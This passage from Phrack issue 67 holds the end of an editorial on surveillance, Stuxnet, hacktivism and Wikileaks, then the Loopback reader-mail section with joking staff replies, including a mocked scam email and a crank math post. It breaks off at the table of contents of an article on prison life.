cycle of narqing and providing an always-revolving door of the Usual Suspects to lay blame to. That's not even including the Patriot Act and wiretaps (an issue pretty much deserving of its own article some other time). The exposure of Google's Street View Wifi data gathering fiasco is likely only the tip of the iceberg -- what we were told was the accidental coding error of a single engineer (who probably will wear that virtual scarlet letter on his resume for life). And yet again, in that case, other countries were first to protest; only lately has there been a strange and questionable desire TO have those records retained -- for what purpose who only knows. The question to wrap all of this up with, here, probably isn't "Does it affect you now?" (unless you are indeed a blackhat, in which case, no doubt, this will impact you tremendously). The question is "can you be sure it never will?" --[ 2. Stuxnet, Cyberwar, Hacktivism and Political Hacking It's no secret that, with the US economy in a state of planned poverty, conventional sense. But the growing speculation, that Iran's nuclear power plant at Bushehr will turn into a weapons program, is a timely excuse for governments to exercise their newfound cyber warfare tactics. Iran believes Stuxnet was intended to derail its nuclear ambitions; and "analysts" expect us to believe that a string of numbers, the name of some shrubbery, futbol domains, and weird 2012 shit... somehow indicates Israel was behind it all. The reality is probably this: as much as Israel's super star hacking squads would love to take down Bushehr, Russia is standing in the way, defending its plan for a return on investment. Stuxnet represents just one of a few big events in this arena since last issue. We've also had Aurora and that whole Google scandal in China. Hildawg has been bitching about China from the start, and it came as no surprise that pressure would be put to bear on big companies, like Google, to defame China's government in the midst of a GFC. More recently, Europe's cyberwar simulation has been hailed as a success, with countries across the EU learning to defend against over 300 attacks. This marks another milestone in the EU's attempt at coordinating intraregional cybercrime investigations. Across the Atlantic, USCYBERCOM has finally gone live. While governments prefer to keep their military hax a secret, there exists a necessity for them to demonstrate their power. Welcome to a whole new wave of terror, hackers. The majority of high profile attacks in the last year show a trend towards highly skilled and targeted hacks that take a lot of time and/or money to develop. In these cases there is minimal collateral damage, months may pass before detection, the hackers are anonymous, and the vector is unique. While these are still large-scale attacks, they're not intended to affect the entire internet -- just a select few major players, and sometimes only for a short while. As corporations and governments throw big bucks into cyber warfare we're going to start to see some of the big names in the IT industry get left behind. The continued DDoS of Burma, in the lead-up to its first election in over 20 years, showed a recent and unwelcome return to stupidity and ignorance at a rate of 10-15gbps, easily dwarfing the Estonia DDoS of 2008. Amnesty International had been working hard to get radios into Burma, so that people could keep up with the election news from across the border. Days after the election, their Hong Kong website was compromised and visitors were attacked with an IE exploit that Microsoft knew about, but blatantly refused to patch early. On the same day that the Burma DDoS began, the Iranian Cyber Army announced its "botnet for hire", though it is rather unlikely that there is a substantial link between the two. Their admin system is some kind of honeypot, their stats are fake, and surely the very idea should have screamed of an obvious trap. But as the news started to spread, bloggers began recycling news media, and slower reporters started relying on those bloggers, until we started coming across reports that ICA was renting out "the same botnets that took down Twitter and Baidu". Uh, sorry? Last time I checked, social engineering a dude at Register.com didn't require a botnet. But hey, maybe there is a botnet, or at least one in development. It's hardly as though ICA are the first to do so. But their treatment by news media is ridiculous. I mean, if these guys really are an "army" then just where were they when Honker struck out in retaliation for Baidu's defacement earlier this year? Unfortunately the media still clings to them because of a handful of high profile defacements. And because they tend to pop up every time something big happens, some journalists actually think these kids are an officially sanctioned military force that reports to Ahmadinejad himself! I don't believe, for a second, that they're even Iranian to begin with. On the related note of poor-man's hacking, we're also seeing a rise in grassroots hacktivism. Social networking sites are making it increasingly easy to inspire angry mobs of ordinary computer users to take part in a DDoS by clicking a link. Years ago we laughed at those kinds of methods (remember the cDc's hacktivismo?). But we're not on dialup anymore, and there's not a lot you need to get your own "human-net" started -- just a persuasive cause and a handful of idiot-proof programs. LOIC is popular for this, as are websites that send GET requests in iframes over and over and over. Next thing you know, there's thousands upon thousands of stupid tweeters, staggering forth like something out of Resident Evil. This isn't even including the more normal botnets that use sites rely on Twitter for commands. Throw that into the mix and Twitter becomes some kind of pluralistic middle-class pseudo-political force to be reckoned with. Law enforcement seem to just give up in those cases. Too many people to chase. Not enough resources to prosecute them all. The most we see is the instigators of these human-nets being hunted down. As the RIAA and MPAA attacks showed us, Anonymous ain't so anonymous when they plan their attacks in the open, in front of feds, on 4chan and Darknet. The trend toward military-directed cyber attacks is prompting some academics to call for a change to the laws that regulate the conduct of hostilities in war. They are questioning whether a country can remain neutral in a cyber war if the data carrying the attack travels along that country's pipelines. Some militaries insist that for hackers to qualify for "prisoner of war" status, these geeks must wear a special hacker uniform and carry a sidearm (I like to think this uniform would look like TRON Guy). And then there's the question of whether something like Stuxnet can be a legal impetus for conventional war. The real beauty of Stuxnet isn't just in the code (as specialised and 0-day as it may have been) -- it's also in the attack vector. If you conveniently lose your malicious USB key in a parking lot, and some "unscrupulous person" picks it up and decides to use it at work... YOU are not committing an attack -- at least not directly (one could argue, after all, that they had no business picking up the usb key in the first place). Moreover, philosophical arguments aside, if you're a civilian, the likelihood of you being charged with anything is extremely remote. Add all of this to the essential argument that hacking cannot be considered an act of war necessitating self-defense unless the hack can be compared to a substantive and conventional military attack, and conventional arguments are essentially thrown out the window. In other words, in the case of Stuxnet, while Iran recognises there was espionage, and possibly an intentional attack, the worm was not an "armed attack" sufficient to qualify self-defense under the UN Charter. In sum, if the events occurring since the last issue has been anything to go by, the next decade will see a growing disparity between the nature of high-profile hacks, but at the end of the day the bulk of it is the same old same old, with some new shit thrown in. Militaries are fast becoming a cyber-force to be reckoned with, but in the absence of laws to regulate their actions, don't expect bombs to fall as a result. While it is most probably that the recent spate of uniquely targeted high-profile attacks will go unpunished, what we can expect is the government to play an increasing role in regulating the Internet and hunting down ordinary hackers in the name of a "war on cyber terrorism". --[ 3. Wikileaks and whistleblowing But what of Wikileaks? While it is undeniable that it has had some impact, one must ask oneself if we are not just raucously accepting as a date to the prom the only girl who asked us out and considering ourselves lucky to have found anyone at all. One could argue that when a society needs a hero, someone will always be willing to show up fighting, but the same could be said of most movements, even including the upstart 'Tea Party' being cawed about on Fox News to cheers by the same people who would have voted for Obama if they'd been Democrats instead of Republicans. Perhaps it's unfair to tilt this article so specifically in the direction of the US -- after all, Wikileaks has shed some light on some tremendously important stories in the three or four years since its inception -- but it's hard to argue that 2010 was the year that Wikileaks came to true nation-wide attention, due in no small part to a certain "redacted" video going by the sobriquet "Collateral Damage", and then fueled by the document dumps ostensibly leaked by US insiders concerning Iraq and Afghanistan that came not long thereafter. Yes, we have a responsibility to make information acceessible, or at least make the knowledge of how such information is stored and used more public, less draconian and redolent of a country poised to curtsy/bow to 'Mein Fuhrer' but we also have a responsibility to treat that information with respect, and more importantly to be able and willing to filter that data through the sieve of common sense and reason: Data should be valuable because it is valuable data (and in some cases the releases by Wikileaks have indeed been valuable data) and not valuable simply by the reasoning that "they don't want us to have it." By the same token, sometimes the very act of sticking the proverbial middle finger up at The Man serves as a call to arms -- or at the very least a rate limiter: A way to urge the current Powers That Be to think a little more before trying to instituting even further privacy eroding measures. Conversely, it is all too easy for any country to consider any "leak" -- righteously whistleblowing or not -- as an act of war, or an excuse to add a few zeros to a department's line budget. And there's something else we all need to be thinking about: Every country, every war, every movement has secrets. We may tell ourselves that information wants to be free, but freedom comes with a price and some secrets are GOOD secrets. More importantly there OUGHT to be some secrets in the world. To completely submit to Wikileaks' vision is almost more akin to Big Brother than anything the US government -- or any other government -- could possible create on its own: A culture where your every move may be exposed, your every thought may be tallied, your every minutiae published for the whole world to see, in a world where Google gambols giddily in the grasses of greed and Facebook and Twitter announce to the world your every move to a perceived audience of enthralled onlookers all willing to say 'you!' when you say 'ah, me!'. In a way we're already most of the way there, and that's a very dangerous thing. When your baseline gets reset and you don't REALIZE that your privacy is being invaded, then the great big "They" has already won -- and you have just let yourself do the dirty work for Them. One could argue that if PFC Manning did indeed leak what has been attributed to him, he may have done a heroic thing, but the fact that he may have also broken a trust that he covenanted into in advance with the US government is difficult to completely discount. The Manning case having received the attention it has gotten this year has brought up a lot of grey areas in peoples' political belief systems, but it has also begged the question: What *is* "whistleblowing" and what is "disloyalty"? What is "patriotism" and what is "narqing"? When can one trust one's judgment about another person's true intentions and is it truly as cut-and-dry as we all wish it would be? Adrian Lamo snitched, but it is always possible that he thought he was protecting himself or his country even as he may have also been trying to cobble together some newfound publicity for a receding career that has been inarguably past its prime for years now. At some level this isn't about government or whistleblowing or privacy -- it's about society and about interpersonal trust, and perhaps that is where things get the murkiest. Naive or not, trust is dealt out increasingly to total strangers on the internet. One could argue that Manning, if indeed that was Manning, was naive in trusting a veritable stranger, but most of us do this on a regular basis now; the difference here is, Manning paid. Without an explicit agreement of nondisclosure one cannot truly and totally scorn somebody for "squealing", but by the same token our very society has been built up on such simple and implicit bonds of trust: I will not hurt you, I will not steal from you, I will not betray you. I may not agree with what you do, but I respect your choices as an individual. At what point does that trust need to be broken off? Some secrets are good, if they contribute to the greater good of society -- and that goes *both* ways -- at times in favour of the individual, at other times in favour of government. As a species we always want to root for the Underdog (and nowhere is this more true than the US, perhaps), but given the fast fluxing nature of the Internet, who the Underdog is can flip at a second's notice: At first Wikileaks was the cause celebre of people everywhere, then came the backlash. All movements have backlashes, and Wikileaks was bound to not be the exception. Perhaps one reason so many scorn Wikileaks has to do with the closed-book nature of a site so overtly and devoutly espousing transparency; at some point it becomes difficult not to interpret all sides as playing with similar playbooks. But it's difficult to win at poker at a table where everybody knows your cards, especially when the rest of the players have bankrolls that far eclipse your own. Again, the question arises: When is transparency necessary, and when is secrecy a requirement to make any progress at all? On the one hand, one must worry about too much transparency; on the other hand, one must worry about too much lurking in the shadows. In the past we had journalists to expose corruption; now it is often journalists themselves fighting off corruption charges, hiding facts, skewing evidence. It's incredibly difficult to deny that some transparency, and indeed Wikileaks itself, can have a positive impact -- and it's hard to imagine a world where SOME sunshine shouldn't be shed; The trick here is to remember that such increased levels of exposure demand we be a more responsible, measured animal -- something as homo sapiens we have really never learned how to do or be. There is no way to shove the genie back into the bottle, and old rumours on the Internet never really die -- they just get archived til someone else manages to come along and dig them up from their temporary graves. This holds great promise for the future of integrity, but it also creates issues when the possibility of outright falsehoods are introduced, especially through an anonymous third party, or in cases where a split exists between haves and have-nots; who really has time to monitor their reputation online to that level? And if someone does besmirch your name, what can be done? If your data shows up on a whistleblower site care of a third party, then it also becomes yet another way to show a display of power: The Vice-Presidential hopeful breaks the rules -- nay, the law -- and walks free while the college student who guesses at her password gets sentenced to a year of supervision or prison. If there is to be light shed, then it should be an equally penetrating (and perhaps softer) light -- not a light meant to shine in the victims' faces and hide the face of the perpetrators -- especially when the label of 'victim' and 'perpetrator' is so murky and grey (as in the Palin case; one could argue both sides committed some form of fault). Julian Assange likes to say 'speak truth to power" but this is a tall order; to first be able to speak ANYTHING to power, you must basically gain the ear of the powerful, or you just get thrown into an eddy, left to whirl around with a bunch of kooks and nutjobs (as any federal agent handling walk-ins will likely attest to, and too, so must whistleblowing sites contend with; with fame comes your own raft of nutjobs to weed out). It'd be hard to deny that whatever else Wikileaks has accomplished in the past year, it has gotten someone's attention. Whether that will be a good thing or a bad thing remains to be seen... But one imagines any call to arms must bring about some force for good, even if that force is something as simple as a renewed spirit of vigour and willingness to be involved among an otherwise sluggish populace juggling its own sense of powerlessness in a country demanding what essentially constitutes sexual assault merely in order to board an airplane. To make an omelet you must first break some eggs; To create a change you must first gain the ear of not just power but the people itself -- and then you must charge them with the duty to act. The true collateral damage may wind up being Manning himself, here; basically judged guilty already, his name forever stored, his acquaintances being hassled, his personal life bared open to the world, he serves as both an example of what to strive for and a cautionary tale for a new age. What the future holds for him remains to be seen, but with any luck he will receive a fair trial by a jury of his peers -- if any such people even exist. Wikileaks may not be perfect -- in fact, it may be deeply flawed -- but for now it's probably all we're going to get. And we should probably be grateful for it -- but wary. Always wary. The danger of mixing the message up with the messenger is always great, and there is no real way for any whistleblowing site to always be 100% correct. Even governments have an incredible amount of difficulty verifying the veracity of any information or separating rumours from fact; to put this level of blind trust in a volunteer organization with no oversight is bound to be fraught with a whole host of issues we haven't seen the likes of yet... For instance, what happens when a non-governmental entity views it as a potential source of information? Once any whistleblowing site gets information, it is out there; what is done is done; At this point, false flags and disinformation is also an issue; the possibility of tricking any whistleblower site to publish false information would destroy not only its credibility if found out but possibly be used to forward some governmental or non-governmental party or agenda. Additionally, to believe everything that any organization says is as short-sighted as believing everything your government tells you. Ultimately your conscience will have to be your guide -- and likely no two consciences will ever completely agree, especially about anything as at-times agit prop as Wikileaks can be, or as secretive as governments have always been. --[ 4. Scene Events: the Final Word To be sure, many other events have taken place this past year and a half (the whitehat-vs-blackhat wars forever raging (cue zf05 and the never-ending arguments about disclosure-vs-nondisclosure); the global emergence of a harsher, more organized form of cybercrime (and the many busts that resulted); etc, etc), but several basic themes emerge: There has been fraud -- but there has always been fraud. There have been invasions of privacy -- but there have always been invasions of privacy. There have be governments overstepping their bounds -- but there have always been governments overstepping their bounds. That doesn't make any of it acceptable, but it also doesn't make any of it new -- nor does it give any of us an excuse to pretend it has nothing to do with us (no matter where you reside or what flag you fly (or choose not to fly, whatever the case may be)). If anything, there has been an amplification of all of the above, but none of it is truly 'new'. Read past issues of Phrack: All of the above has existed in some form or another, just on a smaller scale. It's still existed. Judging by the drive for wealth or fame or infamy displayed in so many of this year's stories, it bears mentioning that we cannot let a few key players make us forget how important it is to treat technology responsibly, reasonably -- to love it, to hack it, to, please, take risks, but to do so with heart -- with CONSCIENCE --. In the end it all starts and ends with you. [EOF] ==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x04 of 0x10 |=-----------------------------------------------------------------------=| |=------------------------=[ L O O P B A C K ]=------------------------=| |=-----------------------------------------------------------------------=| |=-------------------------=[ Phrack Staff ]=--------------------------=| |=-----------------------------------------------------------------------=| Hi there! As you may have noticed, the Loopback tradition had been lost for years. The previous staff decided to remove it as it was a little bit hum... let's say 'teasing' ;> Can you remember Duvel's remark on that fact? A brief history of the Underground scene (p64): --- Take a look at the Phrack Loopback responses during the first 10 years to the recent ones. A much higher percentage of responses are along the lines of `you're an idiot, we at Phrack Staff are much smarter than you.`... --- Well good news folks, it's back. We chose to resuscitate it as: - it's fun. YES IT IS (especially considering the fact that people were not aware of its coming back) - we promise not to be too much of bitches (or so they hope) ;> - we want YOU to share with the Underground. As such for the next issue you are very welcome to send us mails of all kind - we are poor on philes for this issue (just kidding BTW, we're just elitist arrogant bastards) We humbly apologize to all guys we never answered to neither by mail nor through this phile because we suck at filtering our spam (this could _absolutely_ not be a laziness issue, right?) Time to find out who wanted to say hello. -- The Phrack Staff |--=[ 0x00 - From India ]=-----------------------------------------------=| Subject: Re: Null Conference and Security Community From: Prashant KV Cc: Marketing [ Marketing? :> ] Hi, [ Hi Prashant ] [...] Null is a community of enthusiastic hackers and security professionals in India. It all started with a motive to promote advance security research in India. Null has immensely contributed in nurturing young hackers and providing a platform to amateurs. Over the years, the Indian industry and several government organizations have benefited from the expertise of Null members. Be it creating awareness among Indian developers or defending Indian Infrastructure, Null members are everywhere. As a part of continued efforts in creating awareness among our enthusiasts, Null conducts an annual conference in carnival city of Goa called Nullcon. Hackers, talks, workshops, party and booze invites you, 25-26th feb 2011 Goa India. [ Thanks to the Null members, we have an interesting paper on the Indian hacking scene. Kudos. Please have a look at their websites: http://null.co.in / http://nullcon.net/cfp-nullcon-dwitiya (CFP) ] Regards Prashant |--=[ 0x01 - Th1nkG33k ]=------------------------------------------------=| Subject: Legion of Doom T From: Ted Mosby [ Hi Ted. Is Barney with you? ] Is this shirt still available? I know it's from the early 90s, but I had one of these and I've always wanted to get another. (For a limited time, the original is back!) "LEGION OF DOOM -- INTERNET WORLD TOUR" The front of this classic shirt displays "Legion of Doom Internet World Tour" as well as a sword and telephone intersecting the planet earth, skull-and-crossbones style. The back displays the words "Hacking for Jesus" as well as a substantial list of "tour-stops" (Internet sites) and a quote from Aleister Crowley. [ Dammit. We didn't even know it existed. Sorry bro, no clues on this one. ] |--=[ 0x02 - Drug abuse is bad ]=----------------------------------------=| Subject: Binary is Hacked!!! From: killerzerosones@null.net 555555555 55 5555 55 55555555 55555555 55 55 55 555 55 55 55 55 55 55 55 55 55 55 55 5555 55 55 55 55 55 55 55 55 55 55 55 555 55 55 55 55 55 55 55 55 55 55 555555555 55 55 55 55 55555555 55555555 555555 55 555 55 55 55 55 55 55 555 55 55 5555 55 55 55 55 55 55 55 55 55 55 555 55 55 55 55 55 55 55 555 55 555555555 55 55 5555 55 55 55 5555 55 55 555555555 55 55 55555555 55555555 55 55555 55555555 55555555 55 55 55 55 55 55 55 55 55 5555 55 55 55 55 55 55 55 55 55 55 55 55 555 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 555555555 55555555 55555555 55 555 55555555 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 555 55 55 55 55 55 55 55 55 55 55 55 55 5555 55 55 55 55 555555555 55 55 55 55 55555555 55 55555 55555555 555555555 Binary is setup as 0's and 1's and there are quite a few encodings that beat binary(machine language)... 256 128 64 32 16 8 4 2 1 0 = . 1 = .5 = 2 = 1 1 0 = 5 1 1 = 5.5 = 52 = 26 = 13 1 0 0 = 50 = 25 1 0 1 = 50.5 = 502 = 251 1 1 0 = 55 1 1 1 = 55.5 = 552 = 69 1 0 0 0 = 500 = 250 = 125 1 0 0 1 = 500.5 = 5002 = 2501 1 0 1 0 = 505 1 0 1 1 = 505.5 = 5052 = 2526 1 1 0 0 = 550 = 275 1 1 0 1 = 550.5 = 5502 = 2751 When .5 is replaced with 2 keep halving number until prime without turning number into a decimal for a faster encoding with the 0-9 numeral system. So basically half all the numbers until the next half becomes a decimal I.e. being prime. This saves in space approximately 98 numerals per 100 places compared to machines language. [ Same post was found on: http://mathfax.com/emraised-to-the-infinite-9craised-to-the-infinte-9 and http://www.mymathforum.com/viewtopic.php?f=13&t=12988 You're crazy man :> Well this give us the hint that at least one guy is reading our drug-related papers. ] |--=[ 0x03 - Dating ]=---------------------------------------------------=| Subject: CFP 67 and staff From: Larry Hello, Is there any place where I can talk to the staff, like it used to be in the past? Is the old IRC still working? [ Unfortunately it's not. But rumor says we may be found on other IRCs. If you know a guy who knows a guy who knows a guy then maybe... ] Regards. |--=[ 0x04 - Interesting thoughts ]=-------------------------------------=| Subject: ANTISPAM From: Rachel Peek [ We sent you a mail Rachel. Having no answers, we assumed we could publish it as it currently is. ] Normally I would try to be convincing, but I'm not feeling it right now. The thing is, I recently wrote a sort of article on my personal opinions about the government. I don't really know if it's the kind of thing you're looking for, but I figured I would send it in anyway. Look down. The thing with mental disorders is you never know if what you're feeling is real. You don't know if you've made it all up in your head, if you just added all this stress into your life for nothing. But it feels real. As real as anything can, and it's scary as shit. It raises the questions: Which part of the brain is in charge of sanity? Or the more often times more prominent insanity? What causes us to say the things we say? What tells us to hurt the ones we hurt? What compels us to take the actions we take? WHY DO WE DO THE THINGS WE DO? This question has yet to be answered after all of these years. I think it's because we're too busy telling each other what to do, and now our heads are lost up the parts of our asses where maps aren't allowed. I am living proof of this stupidity. I don't know where my thoughts come from. I just know they're there and continue to taunt me with their daily attendance. They will cause me to do things that will make others wonder. They will ask the inevitable question "Why?" I've just stopped answering. This is because my answer will never be good enough. I never seem to have the appropriate reasoning for my actions. For lack of a few better words, I just do shit. I do what I want. In today's society, this is a crime. In order to become a model citizen of the proud U.S.A., you must never, ever do what you want to do. You are to do what you are told and ask no questions. Not that it matters. You'll only be answered with bullshit about how it will benefit you in the end. Take your modern-day education program for example. they provide you with a selection of subjects to choose from, all of which have been watered down by the government to shield our innocent eyes from our country's mistakes and the fact that the world is a shitty place thanks to our existence. This is not easily done though, so they must distract us with ridiculous extracurricular activities that will be of no use to us ever in our lives. And they know it. So while we're busy learning how not to break an unfertilized chicken ova with a sharpee face, they're watching us. They ask themselves, "How will they react to this?" "What will happen if we do that?" They're searching for glitches, just like you would on a computer. You make one wrong move, you take the tiniest step out of line, and they'll immediately make an attempt to "correct" it. How dare you be your own person? How dare you make your own decisions? You must fit the mold, and if you don't, you better believe they're trying their damnedest to shove you into it. They want to catch us early you see. Before we realize how to think for ourselves. They tells us how to walk, stand, eat, sit, write, sing, THINK. And we eat the shit up. Why is this? Because if we don't, we are shunned. We are not like the others. We are alone. The "Man" depends on our loneliness. The homosapien hates to be alone, and they are aware of this. Most people will do anything to avoid it, including shutting off their brains to fit in. So you fall in line and you follow these rules. You might ask why they are there at all, but you will never be answered. You will simply be given an ultimatum. "To get a good job and be successful" Another way to put this would be, "Do exactly what you're ordered to or have a miserable life" But success is relevant...to some at least. Society's definition of success is money. You go to school to get a job to make money to spend money to run out and need it again. You get trapped in the cycle. Well what if your definition of success is happiness? You've most likely thought to yourself, "Oh shit" This is due to the fact that you now know you are living in a world you don't belong in. You are living in a world where happiness IS money, and no one will believe otherwise. And so you need money to get by. You have to delicately touch the filthy stuff. You have to carry it tenderly in your pocket, making sure it's in a safe place, meeting all of it's needs, caring for this shit with wasted love. And you get a job to acquire more. You get up every morning and you follow the speed limit up the road, and you buy your coffee that is made from beans picked by people who can't afford to taste it, and you walk into a building with big, clean windows and detailed columns cleverly placed to disguise the boredom that awaits you inside. You will sit. And you will sit. You will sit all day long in one of those swivel chairs that allow you to do your pointless work at a slightly quicker pace by cutting out all of that rigorous head turning. You do this because you want to get out of there as soon as possible. You want to go home and eat your feelings. You want to stare at that black box as it tells you you are ugly. You are stupid. You are fat. You are not good enough. You are not the best. Be the fucking best. But you can't be. You never will be. You don't have time. You're so busy following that same goddamn schedule every day you don't have a single second to breathe and it's cutting the circulation off to your brain. You can only think what you've been taught to think and you'll do so until you're on your deathbed trying to reflect on the life you led. Trying to remember something beautiful the way they do in the movies. But all you see are white button-downs and digital clock numbers, glowing computer screens and stock numbers. you have wasted your life and you might as well be a cardboard cut-out of yourself. It's a sad thing to die a human being. [ Thanks for this Rachel. ] |--=[ 0x05 - Translation proposal ]=-------------------------------------=| Subject: Translation of phrack magazine From: Robert Langdon [ Audrey Tautou <3 ] Hi Phrack staff, I'm an italian university student of Computer Science. I read many article of your magazine and I'm vary interesting about your magazine. In this days, I think if is possible to translate your articles (not all obviously) in italian language ... and I don't understand which is the distribution or publish license of yours article. The intent is to spread your knowledge to italian guys. Can I translate one or more article? Obviously, the translation is one-to-one, with the same references, the same authors and so on. [ As stated many times we do not support officially translations of Phrack and that would be essentially because translations (even from talented people) are not accurate enough. However, you're free to translate any article. Good luck :) ] Thanks for your great work. SuperMrPlusPlus [ I'm confused. I thought you were Robert Langdon. ] |--=[ 0x06 - Alcohol abuse ]=--------------------------------------------=| From: Anonymous Subject: The risks of alcohol and being drunken bastards Drinking Alcohol and Cancer Risk www2.potsdam.edu/hansondj/HealthIssues/1109728149.html Alcohol - The Risks | Health | BBC World Service www.bbc.co.uk/worldservice/sci_tech/features/health/healthyliving/ alcoholrisk.shtml Alcohol - Risks www.pamf.org/teen/risk/alcohol/risks.html 4.5 The risks of alcohol www.drugtext.org/library/books/raterisks/4.5.htm Effects & risks of alcohol - Schoolies Week schoolies.youthcentral.vic.gov.au/Safe+Partying/Alcohol/Effects+&+risks+of+ alcohol/ Underage Drinking-Why Do Adolescents Drink, What Are the Risks ... pubs.niaaa.nih.gov/publications/aa67/aa67.htm Young people and alcohol - what are the risks? : Directgov - Parents www.direct.gov.uk/en/Parents/Yourchildshealthandsafety/ Youngpeopleandalcohol/DG_183848 Drinking and alcohol - Live Well - NHS Choices www.nhs.uk/Livewell/alcohol/Pages/Alcoholhome.aspx Alcohol and depression: What are the risks? - MayoClinic.com www.mayoclinic.com/health/alcohol-and-depression/MY01078 Health risks associated with alcohol and heavy drinking www.drinking.nhs.uk/health-risk/ The Risks of Developing a Drug or Alcohol Dependency www.egetgoing.com/drug_addiction/addiction_risk.asp Alcohol - Alcohol www.alcohol.gov.au/ Alcohol Health Risks - Alcohol & Other Drugs, The Wellness Center ... www.uncg.edu/shs/wellness/aod/alcoholhealth/ Teenage binge drinking, effects of alcohol, facts about alcohol at ... ncadi.samhsa.gov/govpubs/ph323/ Health Risks of Alcohol and Drug Abuse alcoholism.about.com/od/effect/u/Risks.htm Health Risks In Alcohol Abuse ezinearticles.com/?Health-Risks-In-Alcohol-Abuse&id=301753 For Teens: Know the Risks of Alcohol | HealthSheets | Wellness ... www.mountnittany.org/wellness-library/healthsheets/documents?ID=3684 Alcohol and Breast Cancer Risk: New Findings - National Cancer ... www.cancer.gov/cancertopics/causes/breast/alcoholuse0408 Effects of Drinking Alcohol: Health Benefits vs. Risks www.webmd.com/cancer/features/faq-alcohol-and-your-health Drinking alcohol\227Consumer Reports Health www.consumerreports.org/health/conditions-and-treatments/ the-risks-and-benefits-of-drinking-alcohol/overview/index.htm ---- Getting drunken doesnt pown it is a fault of your own^^ Peace Phrack! [ Fair enough ;> ] |--=[ 0x07 - Insane delay ]=---------------------------------------------=| Subject: a question <-- Needs ANTISPAM in Subject! From: XXXXXXXXXXX To: kleene@phrack.org, pwned@phrack.org <-- Wrong address man! Hi, What's the real sake of this delay, working on scada systems to attack iran? [ AHAH. Stuxnet developers if you ever read that, do not forget to submit a paper on SCADA hacking for p68. ] |--=[ 0x08 - Friendly messages ]=----------------------------------------=| From: Cristi T. Subject: hey hey phrack, [ Hi. ] don't die.. i hope u will deliver this issue. [ Actually we're not dead. If we were then who would be writing this? ;) ] Best wishes, Cristi [ Thx Cristi :) ] --- From: ZZZ Subject: Hi, I noticed that you guys have a lot of followers who are neophytes to hacking. If you would like an article or two on the very basics of footprinting, scanning, enumeration, or hacking I might be able to do some for you guys. I am an IT professional and educator. At least if my content is or newbies, it will be well written. Just let me know. [ Hi. Sorry man. Wrong e-zine, consider asking Uninformed instead ;> ] ZZZ AKA W88ExitUS Sent from my iPhone [ When did the times changed that much? :( ] --- From: Christophe X Subject: WTH ??? Hi guys, I'm dying hoping to see the next number of phrack ... when would be the 67 birth. Seriously, i don't think i have the skill for proposing sexy materials, but i'm serious enough for proposing you help for collecting / guiding authors. Let me know if you need help for rereading article. I'm french linux trainer, phrack was always my best emag, can't support to wait for an annual release. Best regards. [ You're always welcome to motivate potential writers. That itself is really helping. Thx. ] --- From: rawhazard Subject: ...bout issue #67 Hey men, just writing to know...what bout the issue #67? waiting for that since lots of time, u goin to "push the beast out"? or you won't no more? Lemme know, thanks gw [ Well as you can see, we did. ] --- From: f6174179c90c0366@gmx.com Subject: ANTISPAM Thank you for maintaining phrack. [ You're very welcome bro. ] |--=[ 0x09 - Busted??? ]=------------------------------------------------=| From: "Robert S. Mueller" Subject: Federal Bureau Of Investigation./Anti-Terrorist And Monitory Crime Division. [ Wait. How did you find us? ] Federal Bureau of Investigation (FBI) Anti-Terrorist And Monitory Crime Division. Federal Bureau Of Investigation. J.Edgar.Hoover Building Washington Dc Customers Service Hours / Monday To Saturday Office Hours Monday To Saturday: Dear Beneficiary, Series of meetings have been held over the past 7 months with the secretary general of the United Nations Organization. This ended 3 days ago. It is obvious that you have not received your fund which is to the tune of $850,000.00 due to past corrupt Governmental Officials who almost held the fund to themselves for their selfish reason and some individuals who have taken advantage of your fund all in an attempt to swindle your fund which has led to so many losses from your end and unnecessary delay in the receipt of your fund. [ ... ] [ Oh that's nice. With that much money, we'll be able to pay for the hosting & the DNS for centuries ;) ] |--=[ 0x0A - Book propositions ]=----------------------------------------=| Subject: ANTISPAM From: scott Hello, I have a proposition today. My request is to be listed under S2D316 as an author on your website: http://www.phrack.org/authors.html, with the explicit purpose of writing a novel. I will of course be mining my fellow authors' data, and thus would of course need their approval. [ Hum. LOL ] I will be writing a minimum two thousand pages, divided amongst seven chapters. [ Two thousand is not enough. Consider asking us back with at least the double. ] I will of course be releasing it under HTML format, and would like the ability to FTP my pages as I deem them worthy. [ Of course. I'm afraid the sys admin is currently on holidays. He will not be able to setup the FTP :( ] If the above terms are met, proceeds will be negotiated. [ I'm sorry. Who are you again? ] The name of the story is: The Underground Myth by Scott X [ We already have an article with that name. I'm afraid we'll have to sue you. Our lawyer will contact you soon enough. ] |--=[ 0x0B - Newbies ]=--------------------------------------------------=| [ Information was removed to protect the innocent :> ] Subject: Neophyte's Guide From: NICKNAME My mentor (X of #Y on freenode) had decided to write a version 2 to his original Z Guide to the Underground. This guide lays out the framework for any neophytes looking to get into our world. It also lays out the the truth about white hats, black hats, and grey hats. As well as giving the basic's for anyone truly dedicated to learning. [ The truth? Sounds interesting :-P ] I was inspired to write it after reading the article in phrack issue 65 entitled "the underground myth". Its so true, there are hardly any mentors out there that are actually reliable. Most are on some skiddie forum, and all they talk about is step by step SQL injections. And out dated RFI's. [ Yes. Step by step is annoying. ] Due to this sickness infecting the web, we decided to write and publish this (for free of course). In the hops that it will steer the newbie's of the world away from GUI land, and back to our roots. The book is 47 page's from start to finish. I believe that the information contained in said book is invaluable and would help a lot of people out. [ Invaluable? :) ] I have been intrigued by almost every single issue of phrack. I know typically Phrack puts up high level articles, but I have noticed that on occasion you guys will put something out there for the newbies, I believe that this would be a very good addition to your awesome, and inspiring publications. Thank you for your time and consideration of our book. NICKNAME -EOF [ No problem Sam. Oh yes sometimes with PDF metadata you have that kind of unfortunate leak ;> It would be wise to update your book :) ] |--=[ EOF ]=-------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x05 of 0x10 |=-----------------------------------------------------------------------=| |=---------------------=[ How to make it in Prison ]=--------------------=| |=-----------------------------------------------------------------------=| |=----------------=[ by TAp - kill4deth yahoo.com ]=----------------=| |=--------=[ http://www.freewebs.com/hexdeth / AIM : swp2388 ]=---------=| |=-----------------------------------------------------------------------=| ------- 1 - Introduction 2 - The beginning 2.1 - Intake 2.2 - Outline of the process 3 - Fresh Meat 4 - Life in prison 4.1 - What to expect and getting used to it 4.2 - Mail & collect calls 4.3 - Hygiene 4.4 - How you will live and getting used to it 4.5 - The commissary/snack cart 4.6 - Making money 5 - Interaction with other inmates 5.1 - Getting checked 5.2 - Just like momma used to make? 5.3 - Getting punked/becoming a bitch 6 - Prison gangs 6.1 - Prison gangs 6.2 - Should I join a 